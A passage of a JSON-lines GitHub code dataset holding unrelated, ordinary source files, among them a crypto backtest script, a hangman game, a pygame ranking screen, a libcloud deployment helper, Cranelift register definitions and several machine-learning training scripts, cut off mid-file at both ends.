get_ohlcv(ticker)\n df.to_excel(f\"{ticker}.xlsx\")\n isDatas = True\n elif Datas == \"n\":\n # for ticker in [\"KRW-BTC\", \"KRW-LTC\", \"KRW-ETH\", \"KRW-ADA\", \"KRW-WAVES\"]:\n for ticker in [coin]:\n df = get_ohlcv(ticker)\n df.to_excel(f\"{ticker}.xlsx\")\n isDatas = False\n else:\n print(\"값을 잘못 입력하셨습니다.\\n데이터 파일을 생성하지 않습니다.\")\nelif isData == \"n\":\n print(\"데이터 파일을 생성하지 않습니다.\")\n Datas = input(\"\\n업비트에 있는 모든 코인들을 백테스트 하시겠습니까? y/n\")\n if Datas == \"y\":\n isDatas = True\n elif Datas == \"n\":\n isDatas = False\n else:\n print(\"값을 잘못 입력하셨습니다.\\n모든 코인들을 백테스트 하지 않습니다.\")\n isDatas = False\nelse:\n print(\"값을 잘못 입력하셨습니다.\\n데이터 파일을 생성하지 않습니다.\")\n\n# 그래프를 실행할 지 여부\ninGraph = None\ngraph = input(\"그래프 함수를 보시겠습니까? y/n\")\nif graph == \"y\":\n inGraph = True\n print(\"그래프를 크롬창에 띄웁니다.\")\nelif graph == \"n\":\n print(\"그래프를 띄우지 않습니다.\")\n inGraph = False\nelse:\n print(\"값을 잘못 입력하셨습니다.\\n그래프를 띄우지 않습니다.\")\n\nif isDatas:\n for ticker in coins:\n df = pd.read_excel(f\"{ticker}.xlsx\", index_col=0)\n\n ror = short_trading_for_1per(df, inGraph)\n periodYield = df.iloc[-1, 3] / df.iloc[0, 0] # 기간 수익률\n\n print(ticker, f\"{ror:.2f}\", f\"{periodYield:.2f}\")\nelse:\n # for ticker in [\"KRW-BTC\", \"KRW-LTC\", \"KRW-ETH\", \"KRW-ADA\", \"KRW-WAVES\"]:\n # for ticker in [\"KRW-LTC\"]: # LTC 가 급락으로 인해 수익률도 같이 떨어져 테스트 용으로 사용했음\n\n for ticker in [coin]:\n df = pd.read_excel(f\"{ticker}.xlsx\", index_col=0)\n\n ror = short_trading_for_1per(df, inGraph)\n periodYield = df.iloc[-1, 3] / df.iloc[0, 0] # 기간 수익률\n\n print(ticker, f\"{ror:.2f}\", f\"{periodYield:.2f}\")\n","repo_name":"Jungdol/autotrade","sub_path":"GAP Short Hit/backtest.py","file_name":"backtest.py","file_ext":"py","file_size_in_byte":6028,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"27512174902","text":"import random\nimport os\n\ndef read():\n data = []\n\n with open('/Users/jasel/Documents/Python/Python/Intermedio/files/data.txt', 'r', encoding='utf-8') as f:\n for line in f:\n data.append(line.upper())\n\n return data[random.randint(1, len(data))]\n\n\ndef hide_word(str):\n result = ''\n for s in str:\n result += \"_ \"\n\n return result\n\ndef find_char(str, c, hide):\n status = ''\n hide = hide.replace(' ','')\n\n for i in range(len(str)):\n if str[i] == c:\n status += c\n elif hide[i] != '_':\n status +=hide[i]\n else:\n status += \"_ \"\n\n return status\n\n\ndef run():\n os.system (\"clear\")\n print('¡Adivina la palabra!')\n word = read().replace('\\n','')\n hide = hide_word(word)\n print(hide_word(word))\n\n char = input('\\nIngresa una letra:')\n status = find_char(word, char.upper(), hide)\n\n while(word != status):\n os.system (\"clear\")\n print('¡Adivina la palabra!')\n print(status) \n \n char = input('\\nIngresa una letra:')\n status = find_char(word, char.upper(), status)\n \n print('¡Ganaste la palabra es: ' + word + '!')\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n run()","repo_name":"Skarlata5/Python","sub_path":"Intermedio/hangman_game.py","file_name":"hangman_game.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"38273374702","text":"import pygame \nimport os\nfrom root import connection\nfrom root import MAIN_DIR\nfrom content import chooseMode\n\n\ndef rankingScreen(screen):\n pygame.mouse.set_cursor(pygame.SYSTEM_CURSOR_ARROW)\n\n connection.execute('SELECT * FROM player')\n\n records = connection.fetchall()\n\n def organizeList(e):\n return e[4]\n\n ranking = records\n\n ranking.sort(reverse=True, key=organizeList)\n\n class Images:\n background = pygame.image.load(MAIN_DIR + \"/images/ranking/background.png\")\n crown = pygame.image.load(MAIN_DIR + \"/images/ranking/trophy.png\")\n user = pygame.image.load(MAIN_DIR + \"/images/ranking/user.png\")\n backScreen = pygame.image.load(MAIN_DIR + \"/images/backScreen.png\")\n\n goldMedal = pygame.image.load(MAIN_DIR + \"/images/ranking/gold-medal.png\")\n silverMedal = pygame.image.load(MAIN_DIR + \"/images/ranking/silver-medal.png\")\n bronzeMedal = pygame.image.load(MAIN_DIR + \"/images/ranking/bronze-medal.png\")\n\n\n fontTitle = pygame.font.Font(MAIN_DIR + '/fonts/Peace_Sans.otf', 35)\n title = fontTitle.render(\"Veja sua posição no ranking\", True, (255, 255, 255))\n\n fontConfig = pygame.font.Font(MAIN_DIR + '/fonts/Peace_Sans.otf', 25)\n backScreen = Images.backScreen.get_rect(topleft=(20, 20))\n\n class positions:\n rectsPositions = 100\n scrollY = 0\n\n def drawnRanking(player, count):\n id = player[0]\n username = player[1]\n email = player[2]\n punctuation = player[4]\n\n positions.rectsPositions += 90\n\n pygame.draw.rect(screen, \"white\", ((1140 - 900)/2, positions.rectsPositions+positions.scrollY, 900, 75))\n\n # Imagem do usuário\n screen.blit(Images.user, ((1140 - 900)/2+75, positions.rectsPositions + 5 + positions.scrollY))\n\n # Nome do usuário\n playerName = fontConfig.render(username, True, (0, 0, 0))\n screen.blit(playerName, ((1140 - 900)/2+Images.user.get_width()+85, positions.rectsPositions+20 + positions.scrollY))\n\n # Pontuação\n playerPunctuation = fontConfig.render(str(punctuation) + \" pontos\", True, (0, 0, 0))\n screen.blit(playerPunctuation, ((1140 - 900)/2+900-playerPunctuation.get_width()-20, positions.rectsPositions+20 + positions.scrollY )) \n\n # Rankin Positions\n pygame.draw.rect(screen, \"gray\", ((1140 - 900)/2+5, positions.rectsPositions+5 + positions.scrollY, 65, 65))\n playerPosition = fontTitle.render(str(count), True, \"black\")\n screen.blit(playerPosition, ((1140 - 900)/2+25, positions.rectsPositions+15 + positions.scrollY, 65, 65))\n\n if count == 1:\n screen.blit(Images.goldMedal, ((1140 - 900)/2-30, positions.rectsPositions-20+positions.scrollY, 65, 65))\n elif count == 2:\n screen.blit(Images.silverMedal, ((1140 - 900)/2-30, positions.rectsPositions-20+positions.scrollY, 65, 65))\n elif count == 3:\n screen.blit(Images.bronzeMedal, ((1140 - 900)/2-30, positions.rectsPositions-20+positions.scrollY, 65, 65))\n\n\n while True:\n screen.blit(Images.background, (0, 0))\n screen.blit(title, ((screen.get_width()-title.get_width())/2, 50 + positions.scrollY))\n screen.blit(Images.crown, ((screen.get_width()+title.get_width())/2+20, 40 + positions.scrollY))\n screen.blit(Images.backScreen, (20, 20+positions.scrollY))\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n exit()\n\n if event.type == pygame.MOUSEBUTTONUP:\n if backScreen.collidepoint(event.pos):\n return chooseMode.chooseMode(screen)\n break\n \n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 5:\n positions.scrollY -= 10\n if event.button == 4 and positions.scrollY != 0:\n positions.scrollY += 10\n \n \n screen.scroll()\n\n positions.rectsPositions = 100\n count = 1\n for player in ranking:\n drawnRanking(player, count)\n count+=1\n\n\n\n pygame.display.flip()\n \n\n\n return\n","repo_name":"Saulo-Felipe/The-Best-Hero","sub_path":"content/ranking.py","file_name":"ranking.py","file_ext":"py","file_size_in_byte":4182,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"39"} +{"seq_id":"28409023658","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jun 19 13:17:28 2019\r\n\r\n@author: Neda\r\n\"\"\"\r\n\r\nfrom split_dataset_classification import train_loader, classes, dataLoaders\r\nimport numpy\r\nimport csv\r\nimport torchvision\r\nimport matplotlib.pyplot as plt\r\n\r\ndef visualize():\r\n # functions to show an image\r\n def imshow(img):\r\n npimg = img.numpy()\r\n plt.imshow(numpy.transpose(npimg, (1, 2, 0)))\r\n plt.show()\r\n \r\n data_iterator = iter(train_loader)\r\n t_image, target, image_paths = data_iterator.next()\r\n print(t_image.shape)\r\n #print(t_image)\r\n print(target)\r\n #print(image_paths)\r\n \r\n plt.figure()\r\n imshow(torchvision.utils.make_grid(t_image))\r\n print(' '.join('%5s' % classes[j] for j in range(3)))\r\n print(' '.join('%5s' % image_paths[j] for j in range(3))) \r\n # ============================================================================= \r\n data_iterator = iter(train_loader)\r\n t_image, target, image_paths = data_iterator.next()\r\n \r\n #plot images to visualize the data\r\n rows = 1\r\n columns = 3\r\n fig=plt.figure()\r\n for i in range(3):\r\n \r\n fig.add_subplot(rows, columns, i+1)\r\n plt.title(classes[i])\r\n img = t_image[i] \r\n img = torchvision.transforms.ToPILImage()(img)\r\n plt.imshow(img, cmap='gray')\r\n plt.show()\r\n\r\n\r\nif __name__=='__main__':\r\n visualize()","repo_name":"NdaAzr/Custom-Dataset-Classification-Pytorch","sub_path":"plot_sample_data.py","file_name":"plot_sample_data.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"19150850584","text":"import os\n\nfrom libcloud.compute.providers import get_driver as get_compute_driver\nfrom libcloud.compute.types import Provider as ComputeProvider\nfrom libcloud.compute.deployment import ScriptFileDeployment\n\nfrom config import get_config\nfrom oslogger import log\n\n\nclass Server(object):\n\n def __init__(self, config, deploy_name=None):\n self.config = config\n self.deploy_name = deploy_name\n self.compute = self.get_driver()\n\n def get_driver(self):\n # Get the compute driver we want to connect to, then pass in credentials.\n compute_driver = self.config[\"compute_driver\"]\n ComputeDriver = get_compute_driver(compute_driver)\n\n identity = self.config[\"identity\"]\n credential = self.config[\"credential\"]\n rgn = self.config[\"region\"]\n\n compute = ComputeDriver(identity, credential, region=rgn)\n log.info(\"Created a %s compute driver in the %s region.\",\n compute_driver, rgn)\n return compute\n\n def pair_ssh_key(self):\n # Pair our SSH public key with the provider so we can communicate\n # with our deployed compute nodes.\n\n public_key = self.config[\"public_key\"]\n private_key = self.config[\"private_key\"]\n \n pub_key = open(public_key, \"r\").read()\n\n key_name = os.path.split(private_key)[-1]\n keys = [key.name for key in self.compute.list_key_pairs()]\n \n if key_name not in keys:\n # If this key isn't already paired, import the key by choosing a name\n # and passing in the contents of the public key.\n key = self.compute.import_key_pair_from_string(key_name, pub_key)\n log.info(\"Paired %s key with provider.\", key)\n else:\n log.info(\"Already had %s key paired.\", key_name)\n\n return key_name\n\n def deployment_script(self):\n # Once the node is built, it'll be a bare image. Run the configured\n # bootstrap script using libcloud's ScriptDeployment to run the system\n # updates and install Flask.\n if self.deploy_name:\n deployment = ScriptFileDeployment(self.config[self.deploy_name])\n log.info(\"Created ScriptFileDeployment with %s file.\", self.deploy_name)\n\n return deployment\n\n def create_node(self, name):\n \"\"\"Create a compute node with a given name and configuration information.\n Return the Node object.\"\"\"\n \n deployment = self.deployment_script()\n\n # Find the size and image we want to use when creating our node.\n # The following iterates through lists of sizes and images and finds\n # the match for our configured strings.\n size_name = self.config[\"size\"]\n size = filter(lambda size: size.id == size_name, self.compute.list_sizes())[0]\n\n img_name = self.config[\"image\"]\n image = filter(lambda image: image.name == img_name, self.compute.list_images())[0]\n\n log.info(\"Deploying node with size=%s, image=%s\", size, image)\n\n # Deploy our node. This calls create_node but waits for the creation to\n # complete, and then it uses paramiko to SSH into the node and run\n # the commands specified by the `deploy` argument. In order to do this,\n # the paramiko SSH client must know the private key, specified in\n # `ssh_key`. `ex_keyname` is the public key we paired up above.\n key_name = self.pair_ssh_key()\n self.compute.region = self.config[\"region\"]\n\n node = self.compute.deploy_node(name=name, image=image, size=size,\n deploy=deployment,\n ssh_key=self.config[\"private_key\"],\n ssh_username=self.config[\"ssh_user\"],\n ex_keyname=key_name,\n ssh_timeout=6400,\n timeout=6400)\n log.info(\"Node deployed: %s\", node)\n\n return node\n","repo_name":"rackerlabs/humanitarian-openstack","sub_path":"participants/code/nodes.py","file_name":"nodes.py","file_ext":"py","file_size_in_byte":3890,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"39"} +{"seq_id":"71759176755","text":"# 环形公交路线上有 n 个站,按次序从 0 到 n - 1 进行编号。我们已知每一对相邻公交站之间的距离,distance[i] 表示编号为 i 的车站和编号为 (i + 1) % n 的车站之间的距离。\n#\n# 环线上的公交车都可以按顺时针和逆时针的方向行驶。\n#\n# 返回乘客从出发点 start 到目的地 destination 之间的最短距离。\n#\n#  \n#\n# 示例 1:\n#\n#\n#\n# 输入:distance = [1,2,3,4], start = 0, destination = 1\n# 输出:1\n# 解释:公交站 0 和 1 之间的距离是 1 或 9,最小值是 1。\n#  \n#\n# 示例 2:\n#\n#\n#\n# 输入:distance = [1,2,3,4], start = 0, destination = 2\n# 输出:3\n# 解释:公交站 0 和 2 之间的距离是 3 或 7,最小值是 3。\n#  \n#\n# 示例 3:\n#\n#\n#\n# 输入:distance = [1,2,3,4], start = 0, destination = 3\n# 输出:4\n# 解释:公交站 0 和 3 之间的距离是 6 或 4,最小值是 4。\n#\n\n\nfrom typing import List\nfrom collections import Counter\nclass Solution:\n def distanceBetweenBusStops(self, distance: List[int], start: int, destination: int) -> int:\n if destination < start: start, destination = destination, start\n s1, s = 0, sum(distance)\n for i in range(start, destination):\n s1 += distance[i]\n return min(s1, s - s1)\n\n\n\nobj = Solution()\nprint(obj.distanceBetweenBusStops(distance = [1,2,3,4], start = 0, destination = 1))\nprint(obj.distanceBetweenBusStops(distance = [1,2,3,4], start = 0, destination = 3))\n\n","repo_name":"wangsun39/leetcode","sub_path":"all-code/1101-1200/1184distanceBetweenBusStops.py","file_name":"1184distanceBetweenBusStops.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"10789698503","text":"\"\"\"\nRegister set definitions\n------------------------\n\nEach ISA defines a separate register set that is used by the register allocator\nand the final binary encoding of machine code.\n\nThe CPU registers are first divided into disjoint register banks, represented\nby a `RegBank` instance. Registers in different register banks never interfere\nwith each other. A typical CPU will have a general purpose and a floating point\nregister bank.\n\nA register bank consists of a number of *register units* which are the smallest\nindivisible units of allocation and interference. A register unit doesn't\nnecessarily correspond to a particular number of bits in a register, it is more\nlike a placeholder that can be used to determine of a register is taken or not.\n\nThe register allocator works with *register classes* which can allocate one or\nmore register units at a time. A register class allocates more than one\nregister unit at a time when its registers are composed of smaller allocatable\nunits. For example, the ARM double precision floating point registers are\ncomposed of two single precision registers.\n\"\"\"\nfrom __future__ import absolute_import\nfrom . import is_power_of_two, next_power_of_two\n\n\ntry:\n from typing import Sequence, Tuple, List, Dict, Any, Optional, TYPE_CHECKING # noqa\n if TYPE_CHECKING:\n from .isa import TargetISA # noqa\n # A tuple uniquely identifying a register class inside a register bank.\n # (width, bitmask)\n RCTup = Tuple[int, int]\nexcept ImportError:\n pass\n\n\n# The number of 32-bit elements in a register unit mask\nMASK_LEN = 3\n\n# The maximum total number of register units allowed.\n# This limit can be raised by also adjusting the RegUnitMask type in\n# src/isa/registers.rs.\nMAX_UNITS = MASK_LEN * 32\n\n\nclass RegBank(object):\n \"\"\"\n A register bank belonging to an ISA.\n\n A register bank controls a set of *register units* disjoint from all the\n other register banks in the ISA. The register units are numbered uniquely\n within the target ISA, and the units in a register bank form a contiguous\n sequence starting from a sufficiently aligned point that their low bits can\n be used directly when encoding machine code instructions.\n\n Register units can be given generated names like `r0`, `r1`, ..., or a\n tuple of special register unit names can be provided.\n\n :param name: Name of this register bank.\n :param doc: Documentation string.\n :param units: Number of register units.\n :param pressure_tracking: Enable tracking of register pressure.\n :param prefix: Prefix for generated unit names.\n :param names: Special names for the first units. May be shorter than\n `units`, the remaining units are named using `prefix`.\n \"\"\"\n\n def __init__(\n self,\n name, # type: str\n isa, # type: TargetISA\n doc, # type: str\n units, # type: int\n pressure_tracking=True, # type: bool\n prefix='r', # type: str\n names=() # type: Sequence[str]\n ):\n # type: (...) -> None\n self.name = name\n self.isa = isa\n self.first_unit = 0\n self.units = units\n self.pressure_tracking = pressure_tracking\n self.prefix = prefix\n self.names = names\n self.classes = list() # type: List[RegClass]\n self.toprcs = list() # type: List[RegClass]\n\n assert len(names) <= units\n\n if isa.regbanks:\n # Get the next free unit number.\n last = isa.regbanks[-1]\n u = last.first_unit + last.units\n align = units\n if not is_power_of_two(align):\n align = next_power_of_two(align)\n self.first_unit = (u + align - 1) & -align\n\n self.index = len(isa.regbanks)\n isa.regbanks.append(self)\n\n def __repr__(self):\n # type: () -> str\n return ('RegBank({}, units={}, first_unit={})'\n .format(self.name, self.units, self.first_unit))\n\n def finish_regclasses(self):\n # type: () -> None\n \"\"\"\n Compute subclasses and the top-level register class.\n\n Verify that the set of register classes satisfies:\n\n 1. Closed under intersection: The intersection of any two register\n classes in the set is either empty or identical to a member of the\n set.\n 2. There are no identical classes under different names.\n 3. Classes are sorted topologically such that all subclasses have a\n higher index that the superclass.\n\n We could reorder classes topologically here instead of just enforcing\n the order, but the ordering tends to fall out naturally anyway.\n \"\"\"\n cmap = dict() # type: Dict[RCTup, RegClass]\n\n for rc in self.classes:\n # All register classes must be given a name.\n assert rc.name, \"Anonymous register class found\"\n\n # Check for duplicates.\n tup = rc.rctup()\n if tup in cmap:\n raise AssertionError(\n '{} and {} are identical register classes'\n .format(rc, cmap[tup]))\n cmap[tup] = rc\n\n # Check intersections and topological order.\n for idx, rc1 in enumerate(self.classes):\n rc1.toprc = rc1\n for rc2 in self.classes[0:idx]:\n itup = rc1.intersect(rc2)\n if itup is None:\n continue\n if itup not in cmap:\n raise AssertionError(\n 'intersection of {} and {} missing'\n .format(rc1, rc2))\n irc = cmap[itup]\n # rc1 > rc2, so rc2 can't be the sub-class.\n if irc is rc2:\n raise AssertionError(\n 'Bad topological order: {}/{}'\n .format(rc1, rc2))\n if irc is rc1:\n # The intersection of rc1 and rc2 is rc1, so it must be a\n # sub-class.\n rc2.subclasses.append(rc1)\n rc1.toprc = rc2.toprc\n\n if rc1.is_toprc():\n self.toprcs.append(rc1)\n\n def unit_by_name(self, name):\n # type: (str) -> int\n \"\"\"\n Get a register unit in this bank by name.\n \"\"\"\n if name in self.names:\n r = self.names.index(name)\n elif name.startswith(self.prefix):\n r = int(name[len(self.prefix):])\n assert r < self.units, 'Invalid register name: ' + name\n return self.first_unit + r\n\n\nclass RegClass(object):\n \"\"\"\n A register class is a subset of register units in a RegBank along with a\n strategy for allocating registers.\n\n The *width* parameter determines how many register units are allocated at a\n time. Usually it that is one, but for example the ARM D registers are\n allocated two units at a time. When multiple units are allocated, it is\n always a contiguous set of unit numbers.\n\n :param bank: The register bank we're allocating from.\n :param count: The maximum number of allocations in this register class. By\n default, the whole register bank can be allocated.\n :param width: How many units to allocate at a time.\n :param start: The first unit to allocate, relative to `bank.first.unit`.\n \"\"\"\n\n def __init__(self, bank, count=0, width=1, start=0, bitmask=None):\n # type: (RegBank, int, int, int, Optional[int]) -> None\n self.name = None # type: str\n self.index = None # type: int\n self.bank = bank\n self.width = width\n self.bitmask = 0\n\n # This is computed later in `finish_regclasses()`.\n self.subclasses = list() # type: List[RegClass]\n self.toprc = None # type: RegClass\n\n assert width > 0\n\n if bitmask:\n self.bitmask = bitmask\n else:\n assert start >= 0 and start < bank.units\n if count == 0:\n count = bank.units // width\n for a in range(count):\n u = start + a * self.width\n self.bitmask |= 1 << u\n\n bank.classes.append(self)\n\n def __str__(self):\n # type: () -> str\n return self.name\n\n def is_toprc(self):\n # type: () -> bool\n \"\"\"\n Is this a top-level register class?\n\n A top-level register class has no sub-classes. This can only be\n answered aster running `finish_regclasses()`.\n \"\"\"\n return self.toprc is self\n\n def rctup(self):\n # type: () -> RCTup\n \"\"\"\n Get a tuple that uniquely identifies the registers in this class.\n\n The tuple can be used as a dictionary key to ensure that there are no\n duplicate register classes.\n \"\"\"\n return (self.width, self.bitmask)\n\n def intersect(self, other):\n # type: (RegClass) -> RCTup\n \"\"\"\n Get a tuple representing the intersection of two register classes.\n\n Returns `None` if the two classes are disjoint.\n \"\"\"\n if self.width != other.width:\n return None\n intersection = self.bitmask & other.bitmask\n if intersection == 0:\n return None\n\n return (self.width, intersection)\n\n def __getitem__(self, sliced):\n # type: (slice) -> RegClass\n \"\"\"\n Create a sub-class of a register class using slice notation. The slice\n indexes refer to allocations in the parent register class, not register\n units.\n \"\"\"\n assert isinstance(sliced, slice), \"RegClass slicing can't be 1 reg\"\n # We could add strided sub-classes if needed.\n assert sliced.step is None, 'Subclass striding not supported'\n # Can't slice a non-contiguous class\n assert self.is_contiguous(), 'Cannot slice non-contiguous RegClass'\n\n w = self.width\n s = self.start() + sliced.start * w\n c = sliced.stop - sliced.start\n assert c > 1, \"Can't have single-register classes\"\n\n return RegClass(self.bank, count=c, width=w, start=s)\n\n def without(self, *registers):\n # type: (*Register) -> RegClass\n \"\"\"\n Create a sub-class of a register class excluding a specific set of\n registers.\n\n For example: GPR.without(GPR.r9)\n \"\"\"\n bm = self.bitmask\n w = self.width\n fmask = (1 << self.width) - 1\n for reg in registers:\n bm &= ~(fmask << (reg.unit * w))\n\n return RegClass(self.bank, bitmask=bm)\n\n def is_contiguous(self):\n # type: () -> bool\n \"\"\"\n Returns boolean indicating whether a register class is a contiguous set\n of register units.\n \"\"\"\n x = self.bitmask | (self.bitmask-1)\n return self.bitmask != 0 and ((x+1) & x) == 0\n\n def start(self):\n # type: () -> int\n \"\"\"\n Returns the first valid register unit in this class.\n \"\"\"\n start = 0\n bm = self.bitmask\n fmask = (1 << self.width) - 1\n while True:\n if bm & fmask > 0:\n break\n start += 1\n bm >>= self.width\n\n return start\n\n def __getattr__(self, attr):\n # type: (str) -> Register\n \"\"\"\n Get a specific register in the class by name.\n\n For example: `GPR.r5`.\n \"\"\"\n reg = Register(self, self.bank.unit_by_name(attr))\n # Save this register so we won't have to create it again.\n setattr(self, attr, reg)\n return reg\n\n def mask(self):\n # type: () -> List[int]\n \"\"\"\n Compute a bit-mask of the register units allocated by this register\n class.\n\n Return as a list of 32-bit integers.\n \"\"\"\n out_mask = []\n mask32 = (1 << 32) - 1\n bitmask = self.bitmask << self.bank.first_unit\n for i in range(MASK_LEN):\n out_mask.append((bitmask >> (i * 32)) & mask32)\n\n return out_mask\n\n def subclass_mask(self):\n # type: () -> int\n \"\"\"\n Compute a bit-mask of subclasses, including self.\n \"\"\"\n m = 1 << self.index\n for rc in self.subclasses:\n m |= 1 << rc.index\n return m\n\n @staticmethod\n def extract_names(globs):\n # type: (Dict[str, Any]) -> None\n \"\"\"\n Given a dict mapping name -> object as returned by `globals()`, find\n all the RegClass objects and set their name from the dict key.\n This is used to name a bunch of global values in a module.\n \"\"\"\n for name, obj in globs.items():\n if isinstance(obj, RegClass):\n assert obj.name is None\n obj.name = name\n\n\nclass Register(object):\n \"\"\"\n A specific register in a register class.\n\n A register is identified by the top-level register class it belongs to and\n its first register unit.\n\n Specific registers are used to describe constraints on instructions where\n some operands must use a fixed register.\n\n Register instances can be created with the constructor, or accessed as\n attributes on the register class: `GPR.rcx`.\n \"\"\"\n def __init__(self, rc, unit):\n # type: (RegClass, int) -> None\n self.regclass = rc\n self.unit = unit\n\n\nclass Stack(object):\n \"\"\"\n An operand that must be in a stack slot.\n\n A `Stack` object can be used to indicate an operand constraint for a value\n operand that must live in a stack slot.\n \"\"\"\n def __init__(self, rc):\n # type: (RegClass) -> None\n self.regclass = rc\n\n def stack_base_mask(self):\n # type: () -> str\n \"\"\"\n Get the StackBaseMask to use for this operand.\n\n This is a mask of base registers that can be supported by this operand.\n \"\"\"\n # TODO: Make this configurable instead of just using the SP.\n return 'StackBaseMask(1)'\n","repo_name":"ghostery/browser-android","sub_path":"mozilla-release/third_party/rust/cranelift-codegen/meta-python/cdsl/registers.py","file_name":"registers.py","file_ext":"py","file_size_in_byte":14086,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"39"} +{"seq_id":"5637568407","text":"# Grid search 관련 내부 에러 발생, 정상동작 하지 않음\nimport pandas as pd\nfrom sklearn import model_selection, svm, metrics\nfrom sklearn.grid_search import GridSearchCV\n\n# MNIST 학습 데이터 읽기\ntrain_csv = pd.read_csv(\"./mnist/train.csv\")\ntest_csv = pd.read_csv(\"./mnist/t10k.csv\")\n\n# 열 추출\ntrain_label = train_csv.ix[:, 0]\ntrain_data = train_csv.ix[:, 1:577]\ntest_label = test_csv.ix[:, 0]\ntest_data = test_csv.ix[:, 1:577]\nprint(\"학습 데이터 수 = \", len(train_label))\n\n# 그리드 서치 매개변수 설정\nparams = [\n {\"C\":[1, 10, 100, 1000], \"kernel\":[\"linear\"]},\n {\"c\":[1, 10, 100, 1000], \"kernel\":[\"rbf\"], \"gamma\":[0.001, 0.0001]}\n]\n\n# 그리드 서치 수행\nclf = GridSearchCV(svm.SVC(), params, n_jobs= -1)\nclf.fit(train_data, train_label)\nprint(\"학습기=\", clf.best_estimator_)\n\n# 확인\npre = clf.predict(test_data)\nas_score = metrics.accuracy_score(pre, test_label)\nprint(\"정답률=\", as_score)\n\n","repo_name":"nanara1119/DataScience003","sub_path":"4_MachineLearning/7_CrossValidation/grid-mnist.py","file_name":"grid-mnist.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"72016358195","text":"from math import gcd\n\nw, h = map(int, input().split())\nw, h = max(w, h), min(w, h) # 편의상 가로가 더 길게\n\ng = gcd(w, h) # 최대 공약수 -> (패턴 반복수)\n\nww = w // g\nhh = h // g # 간소화 된 w, h\n# print(ww, hh, g)\n\n# ww * hh 에서 대각선을 지나지 않는 크기는 (ww-1) * (hh-1)\n# cut: 패턴의 한부분 ww * hh 에서 잘리지 않는 부분을 뺀 것\n# 실제로는 w + h -1 과 같다.\ncut = ((ww * hh) - (ww - 1) * (hh - 1))\n\nanswer = cut * g\n\nprint(answer)\n","repo_name":"kokojong/BaekJoon_new","sub_path":"WithPython/2168_타일 위의 대각선.py","file_name":"2168_타일 위의 대각선.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"3987266941","text":"import numpy as np\nimport tensorflow as tf\n\nfrom tensorflow.keras import Sequential\nfrom tensorflow.keras.layers import Conv2D, Dropout, Dense, Flatten, MaxPooling2D\nfrom tensorflow.keras.optimizers import RMSprop\nfrom train_a import load_data, output_results\n\n\nCHOICE_P_SIZE = 40000\nEPOCH = 100\nBATCH_SIZE = 500\nINNER_LAYER_ACTIVATION = 'relu'\n\n\n\ndef build_model(inner_activation, output_shape = 10, loss = 'categorical_crossentropy'):\n model = Sequential([\n Conv2D(32, (2,2), padding='same', input_shape=(28, 28, 1), activation=inner_activation),\n MaxPooling2D(2, 2),\n Conv2D(64, (2,2), padding='same', activation=inner_activation),\n Dense(100, activation=inner_activation),\n Dropout(0.2),\n Dense(100, activation=inner_activation),\n Flatten(), Dense(output_shape, activation='softmax')\n ])\n \n optimizer = RMSprop(\n learning_rate=0.002,\n rho=0.9,\n momentum=0.1,\n epsilon=1e-05,\n centered=True,\n )\n\n model.compile(\n loss=loss,\n optimizer=optimizer,\n metrics=['accuracy']\n )\n return model\n\n\n\nif __name__ == '__main__':\n \n train_x , train_y, train_x_normalized, train_y_normalized = load_data(\n path_image='data/train-images-idx3-ubyte',\n path_label='data/train-labels-idx1-ubyte',\n size=CHOICE_P_SIZE,\n )\n \n val_x , val_y, val_x_normalized, val_y_normalized = load_data(\n path_image='data/t10k-images-idx3-ubyte',\n path_label='data/t10k-labels-idx1-ubyte',\n size=10000,\n ) \n\n model = build_model(INNER_LAYER_ACTIVATION)\n \n history = model.fit(\n train_x_normalized,\n train_y_normalized,\n epochs=EPOCH,\n validation_data=(\n val_x_normalized,\n val_y_normalized,\n ),\n batch_size=BATCH_SIZE,\n )\n \n accuracy = history.history['accuracy']\n loss = history.history['loss']\n accuracy_2 = history.history['val_accuracy']\n loss_2 = history.history['val_loss']\n \n output_results(datasets=[loss, loss_2], title='C_cost_history', y_label='cost', legend=['basic', 'validation'])\n output_results(datasets=[accuracy, accuracy_2], title='C_accuracy_history', y_label='accuracy', legend=['basic', 'validation'])\n \n \n \n ","repo_name":"snowwayne1231/Nccu-110-bigData-finalExam","sub_path":"train_c.py","file_name":"train_c.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"11958632556","text":"\r\nclass Matrix:\r\n\r\n value_error = ValueError(\"Matrix not defined properly\")\r\n\r\n def __init__(self, matrix):\r\n self.matrix = matrix\r\n\r\n\r\n @property\r\n def matrix(self):\r\n return self._matrix\r\n \r\n\r\n @matrix.setter\r\n def matrix(self, matrix):\r\n\r\n if len(matrix) != 0:\r\n col_len = len(matrix[0])\r\n if col_len == 0:\r\n raise self.value_error\r\n\r\n for row in matrix:\r\n if len(row) != col_len:\r\n raise self.value_error\r\n for value in row:\r\n if not isinstance(value, (int, float)):\r\n raise ValueError(\"Matrix elements are not integers or float\")\r\n self._matrix = matrix\r\n\r\n else:\r\n raise ValueError(\"Can't evaluate empty matrix\")\r\n\r\n\r\n @property\r\n def no_of_rows(self):\r\n return len(self.matrix)\r\n\r\n\r\n @property\r\n def no_of_columns(self):\r\n return len(self.matrix[0])\r\n\r\n\r\n def is_square_matrix(self):\r\n return self.no_of_rows == 